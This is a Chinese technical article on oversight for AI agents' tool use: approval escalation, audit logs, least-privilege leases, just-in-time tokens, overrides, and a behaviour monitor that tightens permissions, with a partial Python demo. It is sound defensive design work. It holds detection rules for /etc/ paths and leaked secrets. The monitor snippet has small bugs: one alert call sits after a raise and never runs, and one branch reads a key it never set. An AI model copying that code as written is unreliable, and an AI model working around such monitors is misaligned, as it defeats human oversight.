审批流的引入带来了一个新的问题:如果审批人不在怎么办?Agent 暂停执行,等待人类响应。如果那个人的 Slack 静音了、手机没电了、或者在开会——Agent 就卡住了。而且 Agent 不像 CI 流水线可以等几个小时,Agent 的会话通常期望在秒到分钟级别内获得响应。

这就是超时和升级机制要解决的问题:当主审批人不可用时,系统如何优雅地处理等待,如何将审批请求升级到其他人,如何在等待超时后做出安全的默认决策。

超时策略(Timeout Strategy)

超时级别等待时间触发行为适用场景
T1:首次提醒2 分钟向主审批人发送提醒(Slack DM / 短信)所有 require-approval
T2:升级到备用审批人5 分钟审批请求广播到团队的备用审批人列表(如 on-call 工程师)生产环境操作、涉及用户数据的操作
T3:升级到管理者15 分钟审批请求升级到团队 Lead / 值班经理涉及财务影响、安全策略变更的操作
T4:自动超时30 分钟自动拒绝(默认安全策略);记录超时事件;通知 Agent 任务无法继续所有操作(安全默认值:超时 = 拒绝)

升级路径(Escalation Path)的设计原则:

Agent 端的超时处理

当审批超时后,Agent 收到的不是沉默——而是一个结构化的超时事件。Agent 需要能够理解和适应这个状态:

{
  "event": "approval_timeout",
  "tool_call": {
    "tool": "deploy_service",
    "params": {"service": "user-api", "environment": "production"}
  },
  "timeout_details": {
    "level": "T4",
    "waited_seconds": 1800,
    "escalation_path": ["[email protected]", "[email protected]", "[email protected]"],
    "final_decision": "auto_denied"
  },
  "suggestion": "请在工作时间重新发起此操作,或联系值班经理手动审批"
}

Agent 收到超时拒绝后,应该将这个结果告知用户,而不是静默地放弃任务。在对话式 Agent 场景中:

「我尝试在 production 环境部署 user-api 服务,但审批请求在等待 30 分钟后超时自动拒绝了。审批请求已发送给 alice、bob 和团队管理者,但无人在超时前响应。需要我重新发起部署吗?或者你可以在工作时间通过审批面板手动批准。」

这种透明性很重要——用户知道发生了什么、为什么失败、下一步可以做什么,而不是面对一个沉默的 Agent 和一个未完成的任务。

审批审计追踪

审批流不仅仅是一个运行时安全机制——它也是一条审计记录链。每一次审批决策(无论是批准、拒绝还是超时)都应该产生一条不可篡改的审计记录。当安全事故发生后,这些记录是回答「发生了什么、谁批准的、为什么」的唯一依据。

审计记录的核心字段

一条完整的审批审计记录至少包含以下信息:

字段示例值用途
event_idapproval-20260519-a1b2c3d4唯一标识,用于关联审批请求和结果
timestamp2026-05-19T14:32:17Z精确到秒的时间戳,用于事件链重建
agent_idagent-42发起操作的 Agent 标识
agent_roledevops-agentAgent 的角色,用于判断权限边界
user_iduser-alice触发 Agent 任务的人类用户(终极责任人)
session_idsess-8f3a1Agent 会话标识,用于追踪任务上下文
tool_namedeploy_service请求调用的工具名称
tool_params{"service":"user-api","env":"production"}完整的调用参数(脱敏后)
risk_leveladmin系统评估的风险等级
approval_levelrequire-approval触发的审批等级
approver_iduser-bob审批人标识
decisionapproved / denied / timeout审批结果
decision_time2026-05-19T14:33:42Z审批决策的时间戳(用于计算响应延迟)
reason"确认部署内容正确,风险可控"审批人的备注/理由(可选但推荐)
escalation_count0审批请求经过了几级升级(0 = 主审批人直接处理)
execution_resultsuccess / failure / n/a批准后工具执行的结果(事后关联)

审计日志的存储和完整性

审批审计日志不同于普通的应用日志——它需要更高的完整性和防篡改保证:

审计的实际用途

审批审计追踪不是一段「写完了就放那儿」的文本——它在三个时间维度上发挥作用:

  1. 实时(Real-time):安全运维团队监控审批流的实时面板,发现异常模式——例如某个 Agent 在短时间内触发了 10 次高风险的审批请求。这可能是攻击迹象(Agent 被操控),也可能是配置错误(风险分级不准确)。
  2. 事后调查(Post-Incident):当安全事故发生(如生产数据被误删),审计日志是还原事件链的最可靠数据源。你可以追溯到:谁发起的任务 → Agent 调用了什么工具 → 谁批准了这次调用 → 审批时看到了什么上下文 → 执行结果是什么。这种端到端的追踪在 RBAC 或 ABAC 的 allow/deny 日志中是无法获得的——因为那些日志只告诉你「权限检查通过了」,不告诉你「人类是否确认了风险」。
  3. 合规审计(Compliance):SOC 2、ISO 27001、HIPAA 等合规框架都要求对敏感操作保留审计追踪。审批审计日志天然满足这些要求——它记录了谁做了什么的完整链条,包括人类的审批决策。在合规审计中,你不需要从海量应用日志中拼凑证据——审批审计日志本身就是一条完整的证据链。

与 ACL 日志的关联

审批审计追踪不是孤立存在的。它需要与 ACL 决策日志关联,形成完整的权限决策视图:

两条日志通过 event_id 关联。在事后调查中,你可以从一次工具调用开始,追踪到 ACL 为什么没有直接拒绝、审批流中谁做出了什么决策——形成一个完整的决策树。

六、落地最小权限原则

前面四个章节建立了工具权限控制的三条支柱——ACL、参数级控制和审批流——但它们回答的是同一个问题:「这次调用能不能做?」

有一个更根本的问题被悬置了:Agent 一开始应该有多少权限?

在传统的 RBAC 部署中,Agent 被分配一个角色,角色对应一组工具,Agent 从会话开始到结束始终持有这组工具权限。这种模式在功能边界清晰的场景中工作良好。但当 Agent 的任务变得复杂、跨角色、甚至不可预测时,固定的角色权限暴露了两个结构性问题:

  1. 权限过度授予(Over-Privilege):Agent 持有一个任务中 80% 时间用不到的工具权限。一个 code-agent 可能在一次会话中只需要 file_readsearch_code,但它持有的角色权限包含了 shell_execgit_pushdeploy_service——因为「这些工具可能在某个任务中需要」。每一个闲置的权限都是一个潜在的攻击面。
  2. 权限不足(Under-Privilege):一个 data-analyst 在例行查询任务中突然发现需要读取一个配置文件来理解数据格式。它的角色不包含 file_read——因为「数据分析师不需要读文件」。任务被阻断,需要人工介入重新分配角色。

这两个问题本质上是同一个问题的两面:静态的、基于角色的权限分配无法匹配动态的、不可预知的任务需求。最小权限原则(Least Privilege)就是为这个问题而生的。

最小权限的三个层级

「最小权限」听起来像一句安全口号,但在 Agent 工具控制中,它是一套可操作的分层策略:

层级策略回答的问题实施方式
L1:启动级从零权限开始(Zero-Start)Agent 启动时拥有什么?新 Agent 会话默认授予空工具集;不使用角色默认权限
L2:任务级按任务分配(Task-Scoped)这个任务需要什么工具?任务声明时指定所需工具列表,会话期间动态授予和回收
L3:调用级即时访问(Just-in-Time)这次调用之后还需要这个权限吗?单次调用后自动回收权限,下次需要时重新申请

三个层级不是互斥的——它们构成了一个从粗到细的权限收紧机制。接下来逐层展开。

L1:从零权限开始(Zero-Start)

在传统 RBAC 中,Agent 启动时带着一个预设的角色工具箱。Zero-Start 颠覆了这个假设:Agent 启动时没有任何工具权限——一个空的工具集。

这个设计的核心理由来自安全工程的「最小惊讶原则」:如果你默认授予权限,你必须在授予时想到所有不应该被授予的场景。如果你默认拒绝,你只需要在想应该被授予的时候显式添加。

在实施层面,Zero-Start 意味着:

# 传统 RBAC 的 Agent 初始化
agent = Agent(role="code-agent")
# → 自动获得 code-agent 角色的所有工具权限
# → file_read, file_write, shell_exec, git_commit, deploy_service...

# Zero-Start 的 Agent 初始化
agent = Agent(role=None, permissions=[])
# → 工具集为空
# → 后续通过任务声明或运行时请求来获取权限

Zero-Start 的价值不在于「从零开始」本身——而在于强制显式化权限决策。在传统 RBAC 中,你可以创建一个角色、绑定工具、分配给 Agent,然后忘记它。三个月后,没人记得为什么 code-agentdeploy_service 权限——它可能是为了某个一次性任务配置的,之后就留在那里了。Zero-Start 迫使每次任务启动时都重新审视:「这个 Agent 这次到底需要什么?」

Zero-Start 的实施注意事项:

L2:按任务分配权限(Task-Scoped Permissions)

Zero-Start 解决了「启动时应该有多少权限」的问题。下一个问题是:权限的生命周期应该绑定到什么范围?

传统的答案是「绑定到角色」——权限的生命周期等于 Agent 会话的生命周期。Task-Scoped Permissions 将答案改为「绑定到任务」。一个 Agent 会话可能包含多个任务,每个任务有独立的权限集。当任务完成时,该任务的权限集被整体回收。

任务声明与权限绑定

任务级权限的核心机制是任务声明(Task Declaration)——在 Agent 开始一个任务之前,系统需要知道这个任务是什么,从而决定授予什么工具权限。任务声明可以由人类用户明确指定,也可以由 Agent 基于用户意图推断(但推断结果需要用户确认)。

{
  "task_id": "task-20260519-001",
  "session_id": "sess-8f3a1",
  "agent_id": "agent-42",
  "task_description": "分析上周的用户注册数据,生成一份 CSV 报表",
  "task_category": "data-analysis",
  "requested_tools": [
    {"tool": "query_db", "params_scope": {"database": "analytics", "tables": ["user_registrations"]}},
    {"tool": "export_csv", "params_scope": {"max_rows": 50000}}
  ],
  "estimated_duration": "10m",
  "created_by": "user-alice"
}

任务声明不仅定义了需要哪些工具,还定义了每个工具的合法参数范围(params_scope)。这不是参数级 ACL 的替代,而是它的前置约束——参数级 ACL 定义了「在所有任务中都不能做什么」(全局约束),params_scope 定义了「在这个任务中只能做什么」(任务边界)。

两者的关系是叠加的:

任务完成后的权限回收

任务级权限的关键操作是回收(Revocation)。任务完成后,与该任务绑定的所有工具权限被撤销。回收必须是即时的、不可逆的——Agent 不应该在任务结束后仍然持有上个任务的残留权限。

实现回收的一个有效模式是权限租约(Permission Lease)

# 权限租约的生命周期
1. 任务声明 → 系统颁发权限租约(lease),包含:
   - granted_tools: [{tool_name, params_scope}]
   - lease_duration: 任务预估时长 + 缓冲时间(如 +5 分钟)
   - renewal_policy: 可续期 / 不可续期

2. Agent 执行任务 → 每次工具调用时携带 lease_token

3. 任务完成 → lease 被主动撤销

4. 租约到期(任务超时未完成) → lease 自动过期,
   系统强制回收权限,Agent 收到 PermissionRevoked 事件

5. 续期 → 如果任务预估时间不够,Agent 可以请求续期
   (需经过审批流)

权限租约的设计借鉴了分布式系统中的资源租约概念——不做永久授权,只做有时间限制的临时授权。这从根本上消除了「权限残留」问题:即使系统没有捕获到任务完成事件(例如 Agent 崩溃),租约也会在到期后自动失效,权限自然回收。

跨任务权限隔离

当同一个 Agent 会话中有多个任务并行或串行执行时,每个任务的权限租约是完全隔离的。Agent 不能利用任务 A 的工具权限去执行任务 B 的操作——权限上下文与任务 ID 强绑定,每次工具调用都需要验证权限上下文是否匹配当前任务。

这种隔离在实现上并不复杂:

# 工具调用时的权限上下文验证
def execute_tool(agent_id, task_id, tool_name, params):
    # 1. 查找与当前 task_id 绑定的权限租约
    lease = permission_store.get_active_lease(agent_id, task_id)
    if not lease or lease.is_expired():
        raise PermissionError("当前任务没有有效权限租约")

    # 2. 检查该工具是否在此租约的授予范围内
    if tool_name not in lease.granted_tools:
        raise PermissionError(f"任务 {task_id} 未授权使用 {tool_name}")

    # 3. 检查参数是否在 params_scope 内
    tool_scope = lease.granted_tools[tool_name].params_scope
    if not within_scope(params, tool_scope):
        raise PermissionError(f"参数超出任务授权范围")

    # 4. 全局 ACL 检查(参数级约束)
    if not acl_check(agent_id, tool_name, params):
        raise PermissionError("全局 ACL 拒绝")

    # 5. 执行工具
    return dispatch(tool_name, params)

这段代码展示了一个完整的调用级权限检查链:任务租约有效性 → 工具在租约内 → 参数在任务边界内 → 全局 ACL 通过 → 执行。任何一层失败,调用被拒绝。

L3:即时访问(Just-in-Time Access)

Task-Scoped Permissions 将权限生命周期缩短到任务级别——权限在任务开始时授予,任务结束时回收。但有些场景需要更细的粒度:一个权限只使用一次,用完立即回收

Just-in-Time(JIT)Access 就是为此设计的。它的核心规则非常简单:

授权一次操作后,立即回收这次使用的权限。Agent 下次需要同一个工具时,必须重新申请。

这听起来极端——反复申请同一个工具的权限会造成效率损失。但 JIT 的价值在于它创造了一种安全摩擦(Security Friction):不是阻止 Agent 使用它需要的工具,而是确保每次使用都有明确的理由和记录

JIT 最适合应用于低频高风险的工具。以下是一些典型场景:

工具典型使用频率风险JIT 带来的价值
deploy_service每个任务 1-2 次部署到错误环境、错误版本每次部署前强制人工确认部署目标
send_email_bulk每个任务 1 次向错误列表发送邮件每次发送前展示收件人列表和内容预览
modify_iam极低频(每周 1-2 次)权限提升、账户接管强制 double-check 和审批
drop_table极低频数据不可逆删除每次操作独立审批,且需要提供备份确认
execute_raw_sql每个任务 0-2 次SQL 注入、数据泄露每次 SQL 语句独立审查

JIT 的实施模式:一次性令牌(One-Time Token)

JIT 在技术上最清晰的实现方式是一次性令牌(One-Time Token, OTT)

# JIT 一次性令牌的生命周期

# 1. Agent 申请 JIT 权限
request = {
    "agent_id": "agent-42",
    "task_id": "task-001",
    "tool": "deploy_service",
    "params": {"service": "user-api", "environment": "production", "version": "v2.3.1"},
    "reason": "用户要求部署 v2.3.1 到生产环境以修复登录超时 bug",
    "jit": true  # 标记为 JIT 请求
}

# 2. 系统评估并(可能)触发审批
approval = approval_flow.evaluate(request)
if approval.level == "require-approval":
    # 等待人工审批...

# 3. 审批通过后,颁发一次性令牌
ott = generate_one_time_token(
    tool="deploy_service",
    params_hash=hash(request.params),  # 只对这次请求的具体参数有效
    expires_in=60,  # 令牌在 60 秒后自动失效
    max_uses=1      # 只能使用一次
)

# 4. Agent 使用令牌执行工具
result = tool_executor.execute(
    tool="deploy_service",
    params=request.params,
    token=ott.token
)

# 5. 执行完成后,令牌被立即标记为已使用
ott_store.revoke(ott.token)  # 即使 Agent 持有令牌也无法再次使用

# 6. 如果 Agent 需要再次部署,必须重新走申请流程(回到步骤 1)

一次性令牌的设计确保了:

JIT 与审批流的协同

JIT 和审批流是天然的搭档。在任务级权限下,一个 require-approval 的审批意味着「批准后你可以在这个任务中多次使用这个工具」。在 JIT 模式下,一个审批意味着「批准后你可以仅这一次使用这个工具以这些参数」。

两者的组合使用策略:

  1. 高频率 + 低风险工具:任务级权限(授予一次,任务内自由使用)
  2. 高频率 + 中风险工具:任务级权限 + notify-only 通知
  3. 低频率 + 高风险工具:JIT + require-approval(每次调用独立审批)
  4. 任何频率 + 极端风险工具:block(不提供 JIT 也不提供任务级权限——这些工具根本不应该被 Agent 调用)

JIT 的适用边界

JIT 不是万能药。以下场景不适合 JIT:

权限继承和覆盖

最小权限的三个层级(Zero-Start → Task-Scoped → JIT)定义了权限授予的策略。但在实际运行中,权限决策不是线性叠加那么简单。两个实际问题需要被处理:权限继承权限覆盖

权限继承(Permission Inheritance)

在复杂的 Agent 系统中,一个任务可能分解为多个子任务。子任务是否需要从父任务继承权限?如果需要,继承哪些?如果不需要,子任务从哪里获取权限?

有三种继承策略:

策略行为适用场景风险
禁止继承(No Inheritance)子任务以零权限启动,独立申请所有需要的工具子任务与父任务目标不同、操作完全独立的资源低(但不灵活——子任务需要用户或系统重新声明权限)
受限继承(Restricted Inheritance)子任务继承父任务的工具列表,但 params_scope 被进一步收紧子任务是父任务的分解步骤,在同一资源域内操作中(收紧的边界需要明确定义)
完全继承(Full Inheritance)子任务获得父任务的全部权限和参数范围委托场景——Agent A 将任务委托给 Agent B,两者权限等价高(权限可能被意外扩大——不推荐作为默认策略)

推荐默认策略是「禁止继承」——与 Zero-Start 保持一致。每个子任务必须显式声明它需要的权限。如果子任务与父任务在同一资源域内操作,用户可以在创建子任务时选择「继承父任务权限,但限制到 X 范围」。

在实现层面,受限继承可以通过 params_scope 的缩小来表达:

# 父任务权限范围
parent_scope = {
    "query_db": {"database": "analytics", "tables": ["*"]},
    "export_csv": {"max_rows": 100000}
}

# 子任务继承时收紧范围
child_scope = {
    "query_db": {"database": "analytics", "tables": ["user_registrations"]},
    "export_csv": {"max_rows": 5000}
}
# → 子任务只能访问 analytics.user_registrations,
#   export_csv 的最大行数从 100k 收紧到 5k

权限覆盖(Permission Override)

权限覆盖发生在紧急场景——正常的权限流程被绕过,Agent 被临时赋予超出任务声明的权限。例如:

权限覆盖是一个危险但必要的功能。危险在于它绕过了精心设计的权限控制体系;必要在于紧急情况下你不能等审批流走完。因此,权限覆盖的设计重点不是「允不允许」,而是「如何让覆盖本身被严格控制、完全记录、自动过期」

权限覆盖的五条铁律:

  1. 覆盖需要更高权限的审批人:正常的审批流可以由同级或直接上级审批。权限覆盖必须由更高一级的角色审批——通常是团队 Lead 或安全管理员。这被称为「双钥匙原则」——覆盖操作不能由触发覆盖的同一个人批准。
  2. 覆盖范围必须精确:不能「临时给 devops-agent 所有工具权限」——覆盖必须指定具体工具、具体参数范围、具体持续时间。最小化覆盖的暴露面。
  3. 覆盖有时间限制:每次覆盖必须有一个硬性的过期时间(如 15 分钟、1 小时)。到期后权限自动回收,不可自动续期。续期需要重新走覆盖审批流程。
  4. 覆盖全程审计:覆盖的申请、审批、使用、回收,每一步都产生审计日志。覆盖期间的所有工具调用都被标记为「覆盖模式」,在审计面板中高亮显示。
  5. 覆盖后必须复盘:每次覆盖事件在权限回收后触发一个事后的安全复盘任务(可以是自动的)。复盘回答三个问题:为什么会需要覆盖?正常流程哪里出了问题?如何避免下次需要覆盖?

以下是权限覆盖的实现示例:

{
  "override_id": "override-20260519-e3f4a5b6",
  "requested_by": "user-bob",
  "approved_by": "user-carol",  // Carol 是 Bob 的上级——双钥匙
  "reason": "生产环境 user-api 服务宕机,需要立即执行紧急修复脚本",
  "scope": {
    "tool": "shell_exec",
    "params_scope": {
      "cmd": "^(systemctl restart user-api|/opt/scripts/emergency_fix\\.sh)$",
      "cwd": "/opt/scripts/"
    }
  },
  "duration": "15m",  // 15 分钟后自动失效
  "created_at": "2026-05-19T14:32:00Z",
  "expires_at": "2026-05-19T14:47:00Z",
  "status": "active",
  "audit_flag": "override"
}

这个覆盖配置极精确地限定了 Agent 可以做什么:它可以用 shell_exec 工具,但只能执行两条命令(systemctl restart user-api/opt/scripts/emergency_fix.sh),且工作目录限定在 /opt/scripts/。15 分钟后这些权限自动消失。即使在最紧急的情况下,权限的授予也不是「全开」——而是「精确地打开最小必要的那扇门」。

基于任务上下文的动态权限调整

最小权限的三个层级(Zero-Start、Task-Scoped、JIT)定义了权限授予的策略框架。但现实中的任务不是静态的——Agent 在执行过程中可能遇到预期之外的情况,需要动态调整其权限集。

这就是基于任务上下文的动态权限调整(Context-Aware Dynamic Permission Adjustment)——权限不是固定不变的,而是随着任务上下文的演变而自适应地收紧或放开。

动态收紧:风险触发式权限降级

权限应该向一个方向自动调整——只收紧,不放宽。放宽永远需要人工介入。当系统检测到某些风险信号时,应该自动收紧 Agent 的权限:

风险信号触发条件自动收紧动作
高频率调用同一工具在 1 分钟内被调用超过 20 次临时降低该工具的调用频率上限(rate limiting),超出上限的调用进入审批队列
异常参数模式连续 3 次调用中参数值偏离历史模式(如 file_write 的路径从 /workspace/ 变为 /etc/)暂停该工具的权限租约,要求 Agent 解释原因并等待人工审查
错误率飙升工具调用返回错误的比率在 5 分钟内超过 30%降低工具调用的并发数,限制 Agent 在错误方向上的持续尝试
任务范围漂移Agent 的操作目标从声明的资源域偏离到未声明的资源域拒绝越界调用,记录漂移事件,通知用户确认是否扩展任务范围
敏感数据接触Agent 的查询结果中包含 PII 或密钥(通过模式匹配检测)立即暂停当前操作链,触发安全告警,等待安全管理员审查

动态收紧的实现依赖于一个持续运行的行为监控器(Behavior Monitor)——它在 Agent 的每次工具调用后评估调用模式和上下文,与预定义的基线对比。当偏离超过阈值时,行为监控器向权限管理器发送收紧指令。

# 行为监控器的工作流
class BehaviorMonitor:
    def __init__(self, permission_manager, alert_system):
        self.perm_mgr = permission_manager
        self.alert = alert_system
        self.recent_calls = []  # 滑动窗口内的调用记录

    def on_tool_call(self, agent_id, task_id, tool_name, params, result):
        # 1. 记录调用
        self.recent_calls.append({
            "ts": now(), "agent": agent_id, "task": task_id,
            "tool": tool_name, "params": params, "result": result
        })
        # 保持滑动窗口(最近 5 分钟内的调用)
        self.recent_calls = [c for c in self.recent_calls
                             if now() - c["ts"] < 300]

        # 2. 评估风险信号
        signals = []

        # 频率检查
        freq = len([c for c in self.recent_calls
                    if c["agent"] == agent_id and c["tool"] == tool_name])
        if freq > 20:
            signals.append(("high_frequency", {"current_rate": freq}))

        # 参数异常检查(与历史模式对比)
        if self._is_param_anomalous(agent_id, tool_name, params):
            signals.append(("anomalous_params", {"tool": tool_name, "params": params}))

        # 范围漂移检查
        task_scope = self.perm_mgr.get_task_scope(task_id)
        if not self._within_scope(params, task_scope):
            signals.append(("scope_drift", {"params": params, "scope": task_scope}))

        # 3. 对每个信号执行收紧动作
        for signal_type, detail in signals:
            self._tighten_permissions(agent_id, task_id, signal_type, detail)

    def _tighten_permissions(self, agent_id, task_id, signal_type, detail):
        if signal_type == "high_frequency":
            # 降低调用频率上限
            self.perm_mgr.set_rate_limit(agent_id, task_id,
                                         tool_name=detail["tool"],
                                         max_per_minute=10)
            self.alert.warn(f"Agent {agent_id} 工具调用频率异常,已自动限流")

        elif signal_type == "anomalous_params":
            # 暂停工具权限,等待人工审查
            self.perm_mgr.suspend_tool(agent_id, task_id,
                                       tool_name=detail["tool"])
            self.alert.critical(
                f"Agent {agent_id} 参数模式异常,{detail['tool']} 已暂停"
            )
            # 请求人工审查
            self.alert.request_human_review(agent_id, task_id, detail)

        elif signal_type == "scope_drift":
            # 拒绝越界调用,通知用户
            raise PermissionError(
                f"操作超出任务授权范围。如需扩展范围,请更新任务声明。"
            )
            self.alert.notify_user(task_id, detail)

动态放宽:永远需要人工确认

动态放宽(在任务执行中增加权限)的流程与初始权限申请相同——它必须经过系统评估和可能的审批流。行为监控器可以建议放宽(例如「检测到 Agent 被重复拒绝访问某个工具,可能需要扩展权限」),但它不能自动执行放宽。

这个单向性——自动收紧,人工放宽——是设计上的刻意选择。它体现了安全领域的一个核心原则:权限的扩大必须有人的参与和同意。

上下文来源的多样性

动态权限调整的有效性取决于上下文的丰富性。以下是上下文的几个关键来源:

最小权限的度量:你做得够好吗?

最小权限原则不是一个 yes/no 的二元状态——它是一个连续的优化过程。你可以通过以下指标来衡量最小权限的实施程度:

指标定义理想值如何改善
权限利用率(Permission Utilization)一个任务中实际使用了的权限数 ÷ 授予的权限总数> 80%如果利用率过低(如 < 50%),说明任务声明过于宽泛,过度授予了权限——收紧任务模板的默认权限集
JIT 覆盖率(JIT Coverage)通过 JIT 模式管理的工具数 ÷ 高风险工具总数100%(对所有高风险工具)审查所有 admin 和 dangerous 风险等级的工具——如果它们仍在使用任务级权限,考虑迁移到 JIT
审批拒绝率(Approval Denial Rate)JIT 审批中被拒绝的次数 ÷ JIT 申请总数5-15%如果拒绝率过高(>30%),说明 Agent 频繁申请不合理的权限——需要检查 Agent 的 prompt 或工具注册表质量。如果拒绝率过低(<2%),说明审批可能过于宽松。
权限回收延迟(Revocation Latency)任务完成后到权限实际回收的时间差< 5 秒如果回收延迟过高,检查租约管理器的实现——确保任务完成事件能即时触发回收,而不是依赖定时清理
覆盖频率(Override Frequency)触发权限覆盖的次数 ÷ 总任务数< 1%如果覆盖频率过高(如 >5%),说明正常的权限配置无法覆盖常见场景——需要将频繁被覆盖的工具纳入常规权限模板

这些指标应该被持续监控和定期回顾。最小权限不是一次配置就完成的事情——它是一个持续的收紧过程。每当你发现一个可以被进一步约束的权限,就收紧它。每当你发现一个因为权限不足而失败的任务,就审视权限请求流程是否过于严格——然后在安全和效率之间做一次有意识的权衡,而不是默认放行。

本章小结

落地最小权限原则不是一蹴而就的。它是一个从粗到细的渐进收紧过程,每一步都在回答同一个问题:「这个权限真的需要吗?」

回顾三条支柱与最小权限的关系:

当你把这三个层级串在一起,你得到的是一个完整的权限控制闭环:不是「Agent 有这个角色所以它可以做这些事」,而是——

「Agent 在这个任务中,为了完成这个目标,被临时授予了使用这些工具、以这些参数、在这个时间范围内的权限。任务完成后,权限消失。如果需要更多权限,重新申请。如果行为异常,权限自动收紧。如果情况紧急,覆盖权限被严格控制和审计。」

这才叫「最小权限」。它不是一句口号,而是一套可以用代码实现的、可度量的、持续优化的工程实践。


七、实战代码示例

前面六个章节讨论了工具 ACL、参数级控制、审批流和最小权限原则的理论和设计。本节用一段完整的、可运行的 Python 代码将这些机制串联起来,展示一个 Agent 工具权限控制系统的最小可行实现。

代码实现了四个核心组件:ToolRegistry(工具注册中心)、PermissionPolicy(RBAC + 参数级检查)、ApprovalGate(风险评估与审批决策)、AgentExecutor(编排整个权限检查流程)。整体架构如下:

完整代码

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Agent 工具权限控制系统 — 完整演示
====================================
本代码演示了一个最小可行的 Agent 工具权限控制实现,包含:
  - ToolRegistry: 工具注册中心(元数据管理)
  - PermissionPolicy: RBAC + 参数级权限策略
  - ApprovalGate: 风险评估与审批决策
  - AgentExecutor: Agent 执行器,编排权限检查流程

运行方式:
  python3 agent_permission_demo.py

依赖:仅使用 Python 标准库,无需额外安装。
"""

from dataclasses import dataclass, field
from enum import Enum
from typing import Any, Callable, Dict, List, Optional, Set
import json


# ============================================================================
# 1. 基础类型定义
# ============================================================================

class RiskLevel(Enum):
    """工具风险等级"""
    LOW = "low"
    MEDIUM = "medium"
    HIGH = "high"
    CRITICAL = "critical"


class ApprovalDecision(Enum):
    """审批决策结果"""
    AUTO_APPROVE = "auto_approve"        # 自动放行,无需审批
    NOTIFY = "notify"                    # 放行但发送通知记录
    REQUIRE_APPROVAL = "require_approval"  # 需要人工审批
    BLOCK = "block"                      # 直接拒绝


class ExecStatus(Enum):
    """执行状态"""
    SUCCESS = "success"
    BLOCKED_BY_POLICY = "blocked_by_policy"
    AWAITING_APPROVAL = "awaiting_approval"
    BLOCKED_BY_APPROVAL = "blocked_by_approval"
    EXEC_ERROR = "exec_error"


# ============================================================================
# 2. 工具定义 & 注册中心 (ToolRegistry)
# ============================================================================

@dataclass
class Tool:
    """单个工具的元数据定义"""
    name: str                          # 工具名称(唯一标识)
    description: str                   # 工具描述
    risk_level: RiskLevel              # 风险等级
    required_permissions: List[str]    # 所需权限列表,如 ["file:delete", "file:write"]
    handler: Callable[..., Any]        # 实际执行函数
    param_schema: Dict[str, Any] = field(default_factory=dict)  # 参数 schema(可选,用于校验)


class ToolRegistry:
    """工具注册中心:注册、查找和管理所有可用工具"""

    def __init__(self):
        self._tools: Dict[str, Tool] = {}

    def register(self, tool: Tool) -> None:
        """注册一个工具"""
        if tool.name in self._tools:
            raise ValueError(f"工具 '{tool.name}' 已经注册过了")
        self._tools[tool.name] = tool

    def get(self, name: str) -> Optional[Tool]:
        """按名称获取工具;找不到返回 None"""
        return self._tools.get(name)

    def list_by_risk(self, risk: RiskLevel) -> List[Tool]:
        """列出指定风险等级的全部工具"""
        return [t for t in self._tools.values() if t.risk_level == risk]

    def list_all(self) -> List[Tool]:
        """列出所有已注册工具"""
        return list(self._tools.values())


# ============================================================================
# 3. 权限策略引擎 (PermissionPolicy)
# ============================================================================

@dataclass
class ParamRule:
    """单条参数级别的允许/拒绝规则"""
    allow: bool = True                          # True=允许规则, False=拒绝规则
    param_constraints: Dict[str, Any] = field(default_factory=dict)
    # 示例:{"path": {"prefix": "/workspace/"}} 表示 path 必须以 /workspace/ 开头


@dataclass
class ToolRule:
    """某个角色的某工具权限配置"""
    tool_name: str
    allowed: bool = True                        # 该角色能否使用此工具
    param_rules: List[ParamRule] = field(default_factory=list)  # 参数级规则列表


@dataclass
class RolePolicy:
    """单个角色的权限策略"""
    role_name: str
    tool_rules: List[ToolRule] = field(default_factory=list)


class PermissionPolicy:
    """权限策略引擎:基于 RBAC + 参数级约束"""

    def __init__(self):
        self._role_policies: Dict[str, RolePolicy] = {}

    def add_role_policy(self, policy: RolePolicy) -> None:
        """注册一个角色的权限策略"""
        self._role_policies[policy.role_name] = policy

    def check(self, role: str, tool_name: str, params: Dict[str, Any]) -> tuple[bool, str]:
        """检查指定角色能否以给定参数调用指定工具。

        返回 (allowed, reason)。
        - allowed: True 表示允许,False 表示拒绝
        - reason: 拒绝原因或通过说明
        """
        # Step 1: 检查角色是否存在
        role_policy = self._role_policies.get(role)
        if role_policy is None:
            return False, f"角色 '{role}' 未定义任何权限策略"

        # Step 2: 检查该角色是否有此工具的规则
        tool_rule = None
        for rule in role_policy.tool_rules:
            if rule.tool_name == tool_name:
                tool_rule = rule
                break

        if tool_rule is None:
            return False, f"角色 '{role}' 未被授权使用工具 '{tool_name}'"

        if not tool_rule.allowed:
            return False, f"角色 '{role}' 对工具 '{tool_name}' 的访问被拒绝"

        # Step 3: 检查参数级规则
        for param_rule in tool_rule.param_rules:
            for param_key, constraint in param_rule.param_constraints.items():
                actual_value = params.get(param_key)
                if actual_value is None:
                    if param_rule.allow:
                        return False, f"缺少必需参数 '{param_key}'"
                    continue

                # 支持 prefix 约束(检查字符串前缀)
                if "prefix" in constraint:
                    expected_prefix = constraint["prefix"]
                    if not str(actual_value).startswith(expected_prefix):
                        if param_rule.allow:
                            return False, (
                                f"参数 '{param_key}' 的值 '{actual_value}' "
                                f"不在允许范围内(需要以 '{expected_prefix}' 开头)"
                            )
                        else:
                            # 拒绝规则匹配 → 拒绝
                            return False, (
                                f"参数 '{param_key}' 的值 '{actual_value}' "
                                f"匹配了拒绝规则(前缀 '{expected_prefix}')"
                            )

                # 支持 values 约束(检查值是否在白名单内)
                if "values" in constraint:
                    if actual_value not in constraint["values"]:
                        if param_rule.allow:
                            return False, (
                                f"参数 '{param_key}' 的值 '{actual_value}' "
                                f"不在允许列表 {constraint['values']} 中"
                            )

        return True, "权限检查通过"


# ============================================================================
# 4. 审批门控 (ApprovalGate)
# ============================================================================

class ApprovalGate:
    """风险评估与审批决策引擎"""

    # 风险等级 → 默认审批决策的映射
    RISK_DECISION_MAP = {
        RiskLevel.LOW: ApprovalDecision.AUTO_APPROVE,
        RiskLevel.MEDIUM: ApprovalDecision.NOTIFY,
        RiskLevel.HIGH: ApprovalDecision.REQUIRE_APPROVAL,
        RiskLevel.CRITICAL: ApprovalDecision.BLOCK,
    }

    def __init__(self):
        self._overrides: Dict[str, ApprovalDecision] = {}
        # 额外风险规则:当参数满足某条件时提升/降低决策
        self._param_sensitive_patterns: List[tuple[str, str, ApprovalDecision]] = []
        # 格式:(param_key, pattern, decision)
        # 如:("path", "/etc/", ApprovalDecision.BLOCK) — 操作 /etc/ 下文件直接阻断

    def set_override(self, tool_name: str, decision: ApprovalDecision) -> None:
        """为特定工具设置覆盖决策(优先于默认映射)"""
        self._overrides[tool_name] = decision

    def add_sensitive_pattern(self, param_key: str, pattern: str, decision: ApprovalDecision) -> None:
